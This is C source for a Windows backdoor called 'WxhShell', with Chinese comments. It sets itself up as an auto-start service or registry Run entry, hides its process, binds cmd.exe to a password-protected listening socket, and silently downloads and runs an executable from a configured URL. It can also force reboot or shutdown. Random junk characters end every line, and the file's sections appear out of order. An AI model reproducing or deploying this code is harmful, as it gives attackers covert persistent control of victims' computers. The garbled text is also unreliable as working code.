    closesocket(wsh); ]PUyX8'~  
    ExitThread(0); s4~c>voQB  
    } @|-ydm0  
    break; ^o,@9GT s  
    } /DbwqBx  
  // 获取shell {y<_S]0  
  case 's': { ~e%*hZNo  
    CmdShell(wsh); Qx.E+n\  
    closesocket(wsh); pNQd\nY|0  
    ExitThread(0); ),M8W15  
    break; d:A+s>`$M  
  } Lb2Bu>  
  // 退出 NNe'5q9  
  case 'x': { z W+wtYV4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,0-   
    CloseIt(wsh); tp5]n`3rD  
    break; "DRp4;  
    } F<'g6 f  
  // 离开 )x( *T  
  case 'q': { 9oc[}k-M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4+v~{  
    closesocket(wsh); %#7M~RB[  
    WSACleanup(); ShCAkaj_  
    exit(1); yD(/y"P,9  
    break; 3kKXzIh  
        } -MB ,]m  
  } x!I7vs~~zW  
  }  |2n2  
>{m>&u;Cc  
  // 提示信息 0Fbq/63  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rTmcP23]  
} @Ki`g(],P  
  } >St  
c:=Z<0S;  
  return; I*ho@`U  
} vKaX,)P;?  
nH[@EL  
// shell模块句柄 r43dnwX  
int CmdShell(SOCKET sock) S;|%'Sn|j9  
{ }O o  
STARTUPINFO si; zlSwKd(  
ZeroMemory(&si,sizeof(si)); X_%78$N-a`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;K:.*sAa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VLQfuh;  
PROCESS_INFORMATION ProcessInfo; 'BUdySng  
char cmdline[]="cmd"; ^]aDLjD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P6IhpB59  
  return 0; Qz<v. _  
} oO= 6Kd+T  
WBC'~h<@  
// 自身启动模式 yP-.8[;  
int StartFromService(void) A`OU} 'v?L  
{ Dhef|E<  
typedef struct #}k^g:l1  
{ _Z8zD[l  
  DWORD ExitStatus; N|7._AR2  
  DWORD PebBaseAddress; ;Vp&f%u+v  
  DWORD AffinityMask; m4 4aK qw)  
  DWORD BasePriority; E"u>&uPH  
  ULONG UniqueProcessId; 0D.YO<PU  
  ULONG InheritedFromUniqueProcessId; (F_#LeJ|  
}   PROCESS_BASIC_INFORMATION; g00XZ0@  
H 5sj% v  
PROCNTQSIP NtQueryInformationProcess; 0Q>Yoa 11  
XqJ@NgsY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9hOWti  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T[<9Ty'^  
"G4{;!0C  
  HANDLE             hProcess; 1h)I&T"kZ  
  PROCESS_BASIC_INFORMATION pbi; ,Zs-<e"  
4|Z3;;%+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C:P,q6  
  if(NULL == hInst ) return 0; \ u5%+GA-:  
}1(F~6RH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L\n_q6n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6.K)uQgjmv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vk[Km[(U'  
1}V_:~7  
  if (!NtQueryInformationProcess) return 0; #]:nQ (  
4'X^YBm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fmloh1{4  
  if(!hProcess) return 0; }|A%2!Q}  
#kV= ;(lq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zeR!Y yt!  
w/Q'T&>b/  
  CloseHandle(hProcess); gy*N)iv%  
(( t8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t@!oc"z}@  
if(hProcess==NULL) return 0; HYpB]<F  
8[zP2L!-  
HMODULE hMod; ]1p&*xX:Bj  
char procName[255]; }hl# e[$  
unsigned long cbNeeded; !@*Ac$J>$  
fv`%w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lDAw0 C3  
v}[7)oj|  
  CloseHandle(hProcess); se(_`a/4Q  
=\_MJ?A$  
if(strstr(procName,"services")) return 1; // 以服务启动 G]5'U"cj3  
U24?+/5D]  
  return 0; // 注册表启动 xT=|Uc0  
} %JiA,  
Vl'|l)b4W  
// 主模块 BBy/b c!  
int StartWxhshell(LPSTR lpCmdLine) lf Wxdi  
{ b]*9![_  
  SOCKET wsl; v( (fRX.`  
BOOL val=TRUE; _>&zhw2  
  int port=0; 3:);vh!  
  struct sockaddr_in door; \_BaV0<  
h4.ZR={E  
  if(wscfg.ws_autoins) Install(); ?M\3n5;  
BIX%Bu0'f  
port=atoi(lpCmdLine); LI(Wu6*Y  
Yo:>m*31  
if(port<=0) port=wscfg.ws_port; -bKli<C  
59ro-nA9v  
  WSADATA data; 7?cZ9^z`w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (MbI8B>  
{)jQbAr(G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2:2rwH }e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;XGG&M%3  
  door.sin_family = AF_INET; Y_f6y 9?ZE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yjN|PqtSV  
  door.sin_port = htons(port); >mh:OJH45  
PsLuyGR.<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =;c? 6{<1  
closesocket(wsl); QbS w<V  
return 1; S{J$[!F  
} %.<w8ag  
 aA0aW=R  
  if(listen(wsl,2) == INVALID_SOCKET) { VJJw"4DJ  
closesocket(wsl); !XgkK k  
return 1; hv7!x=?8  
} cH"M8gP#  
  Wxhshell(wsl); ggX'`bK  
  WSACleanup(); 9<-AukK m  
tjO||]I  
return 0; dkRJ^~  
c+-L>dsss  
} WvNX%se]3  
QbpRSdxy`$  
// 以NT服务方式启动 KqaeRs.u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aoMQ_@0  
{ b6oPnP_3P  
DWORD   status = 0; v,1.n{!;  
  DWORD   specificError = 0xfffffff; P1H`NOC  
1>l {c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oREZ^pE@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nG{j x_{`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UGr7,+N&w  
  serviceStatus.dwWin32ExitCode     = 0; voV=}.(p  
  serviceStatus.dwServiceSpecificExitCode = 0; TvMY\e  
  serviceStatus.dwCheckPoint       = 0; hIPDJ1a  
  serviceStatus.dwWaitHint       = 0; ^K&& O {  
t~XwF(";  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >l 'QX(  
  if (hServiceStatusHandle==0) return; _Z5l Nu  
uVOOw&q_  
status = GetLastError(); 0.|tKetHq  
  if (status!=NO_ERROR) C6O1ype  
{ Z]oa+W+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (zye Ch  
    serviceStatus.dwCheckPoint       = 0; Y.jg }oV  
    serviceStatus.dwWaitHint       = 0; H9nZ%n  
    serviceStatus.dwWin32ExitCode     = status; 9 `J`(  
    serviceStatus.dwServiceSpecificExitCode = specificError; s`GSc)AI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *F~"4g  
    return; u`K+0^)T`  
  } gwR ^Z{  
~D<o}ItRF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K'n^, t  
  serviceStatus.dwCheckPoint       = 0;  {EZ ;  
  serviceStatus.dwWaitHint       = 0; jcFh2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <E6]8SQE  
} b*r1Jn"h  
Cl4y9|  
// 处理NT服务事件,比如:启动、停止 vF3>nN(]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R7Hn8;..  
{ 56&s'  
switch(fdwControl) N;RZIg(x  
{ T" 8>6a@}E  
case SERVICE_CONTROL_STOP: XQ,I Ej|  
  serviceStatus.dwWin32ExitCode = 0; BI,K?D&W-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $U"/.Mh\  
  serviceStatus.dwCheckPoint   = 0; L=4?vs  
  serviceStatus.dwWaitHint     = 0; yBht4"\Al  
  { 6+m)   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %|oY8;0|A>  
  } )^g}'V=vIr  
  return; K'N\"Y?>  
case SERVICE_CONTROL_PAUSE: Yy>%dL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JL2IVENWc  
  break; @5Ril9J[b  
case SERVICE_CONTROL_CONTINUE: +;U}SR<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +z;xl-*[  
  break; ?i)-K?4Sb  
case SERVICE_CONTROL_INTERROGATE: BxO2w1G  
  break; u\&oiwSIP  
}; m-> chOu~|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :h*20iP  
} -5kq9Dy\,  
sVaWg?=qs'  
// 标准应用程序主函数 "op1xto  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kH1l -mxz  
{ !bT0kP$3}  
v?n`kw  
// 获取操作系统版本 ]n\WCU ]0  
OsIsNt=GetOsVer(); &g.w~KWa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t<}'/ )  
^=E4~22q  
  // 从命令行安装 u#la+/   
  if(strpbrk(lpCmdLine,"iI")) Install(); 9%kY8#%SV  
mcS/-DaN?  
  // 下载执行文件 U|-4*l9Ed  
if(wscfg.ws_downexe) { {eqUEdC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #B)/d?aa'  
  WinExec(wscfg.ws_filenam,SW_HIDE); f1hi\p0q  
} VH,k EbJ  
DU]MMR  
if(!OsIsNt) { G\Toi98d*  
// 如果时win9x,隐藏进程并且设置为注册表启动 zZki9P   
HideProc(); hH )jX`Ta  
StartWxhshell(lpCmdLine); Q gDjc '  
} PFUb\AY  
else ~ E>D0o  
  if(StartFromService()) ?VS {,"X  
  // 以服务方式启动 wC'KI8-  
  StartServiceCtrlDispatcher(DispatchTable); UQ`%,D  
else 8X5;)h   
  // 普通方式启动 dGP*bMCT  
  StartWxhshell(lpCmdLine); L.l%EcW=,  
_BtppQIWv  
return 0; >:Xzv  
} /$&~0pk  
a%*W^R9Ls  
Qj[4gN?}=  
)'DFDrY  
=========================================== !ssE >bDa  
Y?ZTl762  
h_* =_2|}  
V|#B=W  
H<X4R  
\C/`?"4w  
" _ CXKJ]m4  
~W%A8`9  
#include <stdio.h> Wy)|-Q7  
#include <string.h> 1fViW^l_  
#include <windows.h> |>jlY|  
#include <winsock2.h> D:8-f3  
#include <winsvc.h> 92+({ fg W  
#include <urlmon.h> %jqBYn0q'  
E J q=MP  
#pragma comment (lib, "Ws2_32.lib") H6bomp"  
#pragma comment (lib, "urlmon.lib") mK@\6GOMYP  
5(u7b  
#define MAX_USER   100 // 最大客户端连接数 q6\z]8)  
#define BUF_SOCK   200 // sock buffer '[`.&-;  
#define KEY_BUFF   255 // 输入 buffer Ny\iRU)fN  
 ItC*[  
#define REBOOT     0   // 重启 57v[b-SK  
#define SHUTDOWN   1   // 关机 IOvYvFUUJ  
`$G7Ia_ $]  
#define DEF_PORT   5000 // 监听端口 XRJ<1w:  
k[A=:H1"  
#define REG_LEN     16   // 注册表键长度 )1~4Tl,S  
#define SVC_LEN     80   // NT服务名长度 kH-1l>":  
 ZMg%/C  
// 从dll定义API ]$y"|xqR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >F Z6\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0pBlmPafY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j=PQoEtU'<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q,QMvUK:  
K ,f1c}  
// wxhshell配置信息 #s(B,`?N  
struct WSCFG { <W|{zAyv  
  int ws_port;         // 监听端口 ]rZ"5y  
  char ws_passstr[REG_LEN]; // 口令 wb"Jj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8kH'ai  
  char ws_regname[REG_LEN]; // 注册表键名 T>kJB.V:oQ  
  char ws_svcname[REG_LEN]; // 服务名 cV&(L]k>`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Itj|0PGd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >fdS$,`A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w_/q5]/V-5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FL(gwfL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" isQ{Xt~K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F! c%&Z  
x>&1;g2r  
}; TnPdpynP  
HPVT$EJ  
// default Wxhshell configuration oopTo51,a  
struct WSCFG wscfg={DEF_PORT, $T1 D ?X  
    "xuhuanlingzhe", $-5iwZ  
    1, 8^c|9ow  
    "Wxhshell", xfos>|0N  
    "Wxhshell",  5t:4%  
            "WxhShell Service", pc^(@eD  
    "Wrsky Windows CmdShell Service", Rj^bZ%t  
    "Please Input Your Password: ", ,yAvLY5 P  
  1, rM=Q.By+\  
  "http://www.wrsky.com/wxhshell.exe", |+x;18  
  "Wxhshell.exe" ]*sXISg1  
    }; sJt&`kZ  
|Wi$@sWO  
// 消息定义模块 +%UXI$v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +]`MdOu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? Yy[8_(tN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9.#\GI ;  
char *msg_ws_ext="\n\rExit."; (+CB)nV0IA  
char *msg_ws_end="\n\rQuit."; D GOc!  
char *msg_ws_boot="\n\rReboot..."; 7KuTC%7  
char *msg_ws_poff="\n\rShutdown..."; '#u |RsZ  
char *msg_ws_down="\n\rSave to "; DWm$:M4 z  
A}H)ojG'v  
char *msg_ws_err="\n\rErr!"; N$:[`,  
char *msg_ws_ok="\n\rOK!"; Z^>3}\_v  
8'Z9Z*^h#x  
char ExeFile[MAX_PATH]; x8b w#  
int nUser = 0; /bfsC& 3  
HANDLE handles[MAX_USER]; VSmshld  
int OsIsNt; d[-w&[iy  
1wE~dpnx  
SERVICE_STATUS       serviceStatus; :Oa|&.0l?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'u_'y  
fCO!M1t  
// 函数声明 Ks8S^77  
int Install(void); b==<7[8  
int Uninstall(void); 7!Ym~M=  
int DownloadFile(char *sURL, SOCKET wsh); o LuGW5wzj  
int Boot(int flag); *1Nz VV  
void HideProc(void); Maf!,/U4  
int GetOsVer(void); pY ceMZ$  
int Wxhshell(SOCKET wsl); f o4j^,`  
void TalkWithClient(void *cs); `Qaw]&O  
int CmdShell(SOCKET sock); 'WxcA)z0cQ  
int StartFromService(void); %CD}A%~  
int StartWxhshell(LPSTR lpCmdLine); uDQ d48>  
ZfL\3Mn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HMrS::  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _4xX}Z;  
Tx`;y|  
// 数据结构和表定义 "eZNci  
SERVICE_TABLE_ENTRY DispatchTable[] = 9_5Fl,u z  
{ Tj<W4+p{  
{wscfg.ws_svcname, NTServiceMain}, Ko>pwhR}  
{NULL, NULL} {p yo  
}; $@}6P,mg  
|a3)U%rUEQ  
// 自我安装 vZhN% DfY  
int Install(void) nFX8:fZ$>  
{ \iSaxwU_  
  char svExeFile[MAX_PATH]; ]\ sBl  
  HKEY key; FUvZMA$  
  strcpy(svExeFile,ExeFile); `fY~Lv{4d_  
psgXJe$  
// 如果是win9x系统,修改注册表设为自启动 6@ ToPbj4  
if(!OsIsNt) { 1i$9x$4~E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qZ6P(5X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w[~$.FM/  
  RegCloseKey(key); v&xk?F?WU,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X<#Q~"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z<sf}6q  
  RegCloseKey(key); 2Z\6xb|u  
  return 0; aOyAP-m,  
    } "'^#I_*Mf  
  } W*}q;ub;  
} ;]KGRT  
else { b H?dyS6Bx  
 #RbPNVs  
// 如果是NT以上系统,安装为系统服务 '7u#uL,pa1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $X9-0-  
if (schSCManager!=0) 4g$mz:vo  
{ h=EJNz>U  
  SC_HANDLE schService = CreateService aqoT  
  ( `5=0f}E  
  schSCManager, e~i ?E  
  wscfg.ws_svcname, g5; W6QX  
  wscfg.ws_svcdisp, t /EB y"N#  
  SERVICE_ALL_ACCESS, %kKe"$)0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &owBmpz  
  SERVICE_AUTO_START, _udH(NC  
  SERVICE_ERROR_NORMAL, B&O931E7  
  svExeFile, m%qah>11  
  NULL, ^z "90-V^  
  NULL, UyEyk$6SU  
  NULL, N6Vn/7I5%  
  NULL, 6AUXYbK,  
  NULL & WYIfx{  
  ); }f;Zx)!  
  if (schService!=0) esLPJx  
  { z X2BJ  
  CloseServiceHandle(schService); O)Nj'Hcu  
  CloseServiceHandle(schSCManager); zX{ [Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6}K|eUak/  
  strcat(svExeFile,wscfg.ws_svcname); WG1Uv PK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cCw?%qq,L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )DI/y1  
  RegCloseKey(key); !FA^~  
  return 0; y4C_G?  
    } fY}e.lD  
  } PHyS^J`  
  CloseServiceHandle(schSCManager); !D7/Ja  
} *h-_   
} T,TKt%  
rk-}@vp  
return 1; DSM,dO'  
} kK16+`\+  
n-#?6`>a  
// 自我卸载 gk>A  
int Uninstall(void) ALiA+k N  
{ "F7g8vu  
  HKEY key; S5-}u)XnH  
AVZ-g/<  
if(!OsIsNt) { _`+ !,kG[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g%4-QCZ,  
  RegDeleteValue(key,wscfg.ws_regname); ;k9s@e#a  
  RegCloseKey(key); ]RML;]^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _o8il3  
  RegDeleteValue(key,wscfg.ws_regname); yLW iY~Fd  
  RegCloseKey(key); Vx~[;*{,C9  
  return 0; xzyV| (  
  } 5dXC  
} EZ8Ih,j9  
} 8;5 UO,`T  
else { ullq}}  
";J1$a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7;dV]N  
if (schSCManager!=0) 3G~ T_J&  
{ #6 e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `|8)A)ZVT  
  if (schService!=0)  G;Q)A$-  
  { u%Hegqn  
  if(DeleteService(schService)!=0) { 6w0/;8(_m  
  CloseServiceHandle(schService); Z h)Qq?H  
  CloseServiceHandle(schSCManager); `9(TqcE  
  return 0; B+ud-M0  
  } $-|`#|CBd  
  CloseServiceHandle(schService); $*Njvr7  
  } &DYHkG  
  CloseServiceHandle(schSCManager); 4l@*x^F  
} ?}D@{%O3T  
} )Jz L  
m;>HUTj  
return 1; N32!*TsWs  
} _bHmcK  
: tu6'X\k  
// 从指定url下载文件 =nh/w#  
int DownloadFile(char *sURL, SOCKET wsh) &y[Od{=  
{ wcspqC"_  
  HRESULT hr; c*'D  
char seps[]= "/"; qSlC@@.>  
char *token; [>A%%  
char *file; 6#MIt:#  
char myURL[MAX_PATH]; !_QE|tVeR  
char myFILE[MAX_PATH]; lM3UjR|@  
q~^Jd=cB\  
strcpy(myURL,sURL); EEEYNu/4/  
  token=strtok(myURL,seps); AMp[f%X  
  while(token!=NULL) U]riBlg>  
  { 4GH?$p|LX  
    file=token; YLVIn_\}  
  token=strtok(NULL,seps); Z!0D97^  
  } @MWrUx  
Y,RBTH  
GetCurrentDirectory(MAX_PATH,myFILE); ^G.PdX$M  
strcat(myFILE, "\\"); 2j9Mr  
strcat(myFILE, file); iq)4/3"6  
  send(wsh,myFILE,strlen(myFILE),0); U iqHUrx  
send(wsh,"...",3,0); oyZ}JTl( Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <5?.s< y$"  
  if(hr==S_OK) FX`SaY>D  
return 0; h|$.`$  
else Kr3L~4>  
return 1; YDE;mIW  
M. O3QKU4  
} l~kxt2&  
(, Il>cR4  
// 系统电源模块 .uG|Vq1v  
int Boot(int flag) l`G .lM(  
{ 7E*d>:5I  
  HANDLE hToken; ujGvrY j  
  TOKEN_PRIVILEGES tkp; `rzgC \  
:@a8>i1&  
  if(OsIsNt) { hg_@Ui@[z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &k*sxW'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wWB-P6  
    tkp.PrivilegeCount = 1; yANk(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~W p>tnl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;N6Euiz  
if(flag==REBOOT) { ^  ry   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  w~wpm7  
  return 0; n@<+D`[.V  
} FO#`}? R`  
else { I&^ B?"Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uO8z.  
  return 0; DUUQz:?{J  
} _]E H~;  
  } M@ILB-H  
  else { bq#*XCt#  
if(flag==REBOOT) {  pbM~T(Y8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N=]2vyh  
  return 0; #q 'J`BC  
} atR WKsY<  
else { 2{:bv~*I0F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z+! ._uA  
  return 0; %;$zR}  
} 8R<2I1xn2  
} ` 1aEV#;  
|giV<Sj  
return 1; c@!%.# |y  
} 7~n<%q/6  
T|RW-i3  
// win9x进程隐藏模块 p2s*'dab7  
void HideProc(void) 7<;87t]]  
{ <RH2G   
/ qp)n">  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %2>ya>/M  
  if ( hKernel != NULL ) jI:5[. Y  
  { @k~'b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uf4C+ci  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 32j@6!  
    FreeLibrary(hKernel); I*8i=O@0T  
  } 3~v' Ev  
'}3@D$YiM%  
return; 's#"~<L^e  
} fR[kjwX)<1  
qXC>D Gy  
// 获取操作系统版本 SKO*x^"eU  
int GetOsVer(void) F} d>pK9fn  
{ VA{2a7]  
  OSVERSIONINFO winfo; cYHHCaCS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ], Xva`"  
  GetVersionEx(&winfo); gbF^m`A>%+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }@JPvI E  
  return 1; y!JZWq%=  
  else ^PHWUb+``  
  return 0; >~C*m `#  
} [AgS@^"sf5  
6bj.z  
// 客户端句柄模块 Fv_rDTo  
int Wxhshell(SOCKET wsl) gYb}<[O!  
{ kex4U6&OQB  
  SOCKET wsh; ?VVtEmIN  
  struct sockaddr_in client; )"SP >2}  
  DWORD myID; _4H 9rPhf  
Reci:T(_  
  while(nUser<MAX_USER) a?&{eMEe}  
{ }s i{  
  int nSize=sizeof(client); hes$LH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~m4{GzB  
  if(wsh==INVALID_SOCKET) return 1; ^=kUNyY  
2 VgFP3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UOh % "h  
if(handles[nUser]==0) m^hi}Am1  
  closesocket(wsh); `x%( n@g  
else N0`v;4gF$]  
  nUser++; Z1u:OI@(  
  } ;oL`fQyr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  0Bbno9Yp  
6%N.'wf  
  return 0; Lckb*/jV&  
} <*O~?=6p  
QAs$fi}f]s  
// 关闭 socket wCT. (d_  
void CloseIt(SOCKET wsh) a W1y0  
{ -n.ltgW@   
closesocket(wsh); u!wR  
nUser--; 9a4Xf%!F>z  
ExitThread(0); doeYc  
} Ci{,e%  
GI:J9TS  
// 客户端请求句柄 dS9L(&  
void TalkWithClient(void *cs) B5FRe'UC  
{ `+Ko{rf+9  
M3>c?,O)J  
  SOCKET wsh=(SOCKET)cs; ~ti{na4W<  
  char pwd[SVC_LEN]; J QSp2b@'H  
  char cmd[KEY_BUFF]; )L^GGy8w  
char chr[1]; |#uA(V  
int i,j; @JFfyQ {-  
-44{b<:D  
  while (nUser < MAX_USER) { kTJz .  
GJ1ap^k  
if(wscfg.ws_passstr) { l]:nncpns  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2|2'?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0xv@l^B  
  //ZeroMemory(pwd,KEY_BUFF); !aylrJJ  
      i=0; ?;{ d  
  while(i<SVC_LEN) { %qN_<W&Ze  
O+ ].'  
  // 设置超时 Pr|:nJs  
  fd_set FdRead; oaxCcB=\  
  struct timeval TimeOut; CJ'pZ]\G  
  FD_ZERO(&FdRead); 53vnON#{*  
  FD_SET(wsh,&FdRead); 6;|6@j  
  TimeOut.tv_sec=8; ;S,k U{F  
  TimeOut.tv_usec=0; xV]eEOiLM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 55aJ =T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZjCT * qx  
iA=QK u!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.V?O}   
  pwd=chr[0]; k5s8s@  
  if(chr[0]==0xd || chr[0]==0xa) { a!OS2Tz:  
  pwd=0; TgFj- "L\  
  break; j%7N\Vb  
  } wOfx7D  
  i++; 6xDYEvHS  
    } hT c VMc  
|s<IZ2z]}R  
  // 如果是非法用户,关闭 socket soSdlV{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /iz{NulOz*  
} PAYbsn  
D/& 8[Z/Cn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iR_j h=2{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }@+3QHwYU  
1=R6||8ws  
while(1) { CJn{tP  
M|HW$8V3_2  
  ZeroMemory(cmd,KEY_BUFF); *<.{sx^Gk  
C2$_Ad=s  
      // 自动支持客户端 telnet标准   ihv=y\Jt  
  j=0; ly!vbpE_  
  while(j<KEY_BUFF) { ]VuB2L[D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ao+lLCr  
  cmd[j]=chr[0]; !&8nwOG  
  if(chr[0]==0xa || chr[0]==0xd) { Q~p)@[q  
  cmd[j]=0; 7FQ&LF46  
  break; G[;GP0\N  
  } x%J4A+kU  
  j++; tBJCfM  
    }  j<BW/  
U- b(  
  // 下载文件 PT t#Ixn,  
  if(strstr(cmd,"http://")) { @e`%'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .m r& zq  
  if(DownloadFile(cmd,wsh)) J(0E'o{ug  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D9hV`fA  
  else U,;a+z4\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wW. V>$q  
  } 8Uv2p{ <#  
  else { #8cpZ]#  
O_gr{L}  
    switch(cmd[0]) { 0@O:C::  
  xZMQ+OW2i  
  // 帮助 ( o(,;  
  case '?': { }jfOs(Q]  
